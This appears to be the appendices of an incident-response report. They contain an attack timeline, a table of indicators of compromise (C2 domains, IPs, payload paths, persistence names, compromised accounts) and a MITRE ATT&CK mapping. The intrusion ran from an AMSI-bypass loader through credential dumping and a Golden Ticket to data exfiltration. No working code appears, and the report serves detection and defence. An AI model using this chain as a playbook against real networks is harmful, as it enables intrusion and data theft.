Time	Stage	Action	Cred
~10:15	C02/C03	python.exe → AMSI-bypass PowerShell → AdaptixC2 loader (cloud-endpoint.net)	summariser
~10:20+	C08/C07	Local recon; profiled svc_backup; read cmdkey/PSReadLine	sancadmin
11:49	C04	Scheduled task + Run key persistence	sancadmin
—	C04/C05	Service hijack (GFUpdaterSvc); SYSTEM execution	SYSTEM
11:29→12:00	C09	svc_backup spray → SUCCESS to SRV01 (12:00:19)	svc_backup
~13:1x	C09/C04	t.harris password reset (Summer2025); AnyDesk on SRV01	GF-SRV01\$
12:53/15:54/18:54	C11	Robocopy staging of Finance data on SRV01	GF-SRV01\$
~15:1x	C07/C09	Impacket on DC; LSA/SAM/NTDS dump; AD enum (repadmin)	t.harris/ d.williams
15:14	C11	Compress-Archive → exfil.zip on DC01	GF-DC01\$
15:47	C09	svc_backup SUCCESS to DC01 from operator 10.1.0.120	svc_backup
~15:xx+	C12	Golden Ticket forged (krbtgt) — domain compromise	krbtgt
19:34–19:46	C11	exfil.zip uploaded to attacker Azure Blob	—
ongoing	C12	Defender attack disruption isolates GF-WS01	—

Appendix B — Artifacts & Indicators of Compromise

Type	Indicator	Context
C2 domain	cdn.cloud-endpoint.net / api.cloud-endpoint.net	Loader & stage-2 (Cloudflare-fronted)
C2 IP	172.67.174.46 · 104.21.30.237	cloud-endpoint.net resolutions
C2 IP	57.155.101.212:443	AdaptixC2 beacon (rundll32)
Exfil	sanclogicart14191.blob.core.windows.net (20.209.179.65)	Attacker Azure Blob
Operator host	10.1.0.120	Attacker jump/RDP box on subnet
File	C:\Windows\Temp\svchost_upd.exe	Stage-2 payload (certutil)
File	C:\Windows\Temp\svc.ps1	SYSTEM loader script
File	C:\ProgramData\GFUpdater\gfuldater.exe	Hijacked service binary
File	C:\Windows\Temp\staged\ , exfil.zip	Staging dir & exfil archive
Task	MicrosoftHealthUpdate	Scheduled-task persistence
Run key	WindowsHealthService	HKLM...\CurrentVersion\Run
Service	GFUpdaterSvc (hijacked)	Binary replaced with payload
Tooling	AdaptixC2 · Impacket · AnyDesk · certutil · Robocopy	Implant / lateral / RAT / LOLBins
Accounts	sancadmin · svc_backup · t.harris · d.williams · krbtgt	Compromised identities

Appendix C — MITRE ATT&CK Coverage

Card	Tactic	Key techniques
C02	Initial Access	T1566, T1059.001 (AI-tool abuse)
C03	Execution	T1059.001 PowerShell, T1055 Process Injection

Card	Tactic	Key techniques
C04	Persistence	T1053.005, T1547.001, T1543.003
C05	Privilege Escalation	T1078 Valid Accounts, SYSTEM via service/task
C06	Defense Evasion	T1562.001, T1140, T1036.004
C07	Credential Access	T1003.002/.004, T1552
C08	Discovery	T1087, T1018, T1069
C09	Lateral Movement	T1021.001/.002, T1550, T1047
C10	Command & Control	T1071.001, T1219, T1105
C11	Collection / Exfil	T1005, T1074, T1560, T1041, T1567.002
C12	Impact	T1558.001 Golden Ticket